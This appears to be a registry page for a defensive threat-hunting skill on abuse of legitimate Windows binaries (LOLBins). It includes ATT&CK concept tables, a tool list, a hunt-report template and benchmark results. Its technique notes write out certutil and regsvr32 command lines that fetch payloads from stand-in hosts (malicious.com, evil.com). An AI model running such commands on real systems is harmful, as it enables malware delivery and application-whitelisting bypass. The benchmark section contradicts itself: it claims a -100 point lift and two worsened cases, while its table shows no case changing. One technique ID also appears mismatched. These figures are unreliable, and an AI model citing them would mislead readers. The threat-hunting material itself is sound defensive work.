Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.
.claude/skills/hunting-for-living-off-the-land-binaries/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-17 | ✓→✓ | = Same ✓ | — | — |
| case-04 | ✓→✓ | = Same ✓ | — | — |
| case-06 | ✗→✗ | = Same ✗ | — | — |
| case-02 | ✗→✗ | = Same ✗ | — | — |
| case-09 | ✗→✗ | = Same ✗ | — | — |
| Concept | Description | |---------|-------------| | LOLBin | Legitimate OS binary abused by attackers for malicious purposes | | LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts | | T1218 | MITRE ATT&CK - Signed Binary Proxy Execution | | T1218.001 | Compiled HTML File (mshta.exe) | | T1218.002 | Control Panel (control.exe) | | T1218.003 | CMSTP | | T1218.005 | Mshta | | T1218.010 | Regsvr32 | | T1218.011 | Rundll32 | | T1197 | BITS Jobs (bitsadmin.exe) | | T1140 | Deobfuscate/Decode Files (certutil.exe) | | Proxy Execution | Using trusted binaries to execute untrusted code | | Fileless Attack | Attack that operates primarily in memory without dropping files |
| Tool | Purpose | |------|---------| | CrowdStrike Falcon | EDR telemetry and process tree analysis | | Microsoft Defender for Endpoint | Advanced hunting with KQL queries | | Splunk | SIEM log aggregation and SPL queries | | Elastic Security | Detection rules and timeline investigation | | Sysmon | Detailed process creation and network logging | | LOLBAS Project | Reference database of LOLBin capabilities | | Sigma Rules | Generic detection rule format for LOLBins | | Velociraptor | Endpoint forensic collection and hunting |
certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.mshta.exe, which is a signed Microsoft binary.rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.bitsadmin /transfer.Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
- [Finding 1 with evidence]
- [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of -100 percentage points is the difference between those two pass rates over the 22 comparable cases. 2 cases got worse with the skill loaded, and they are included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.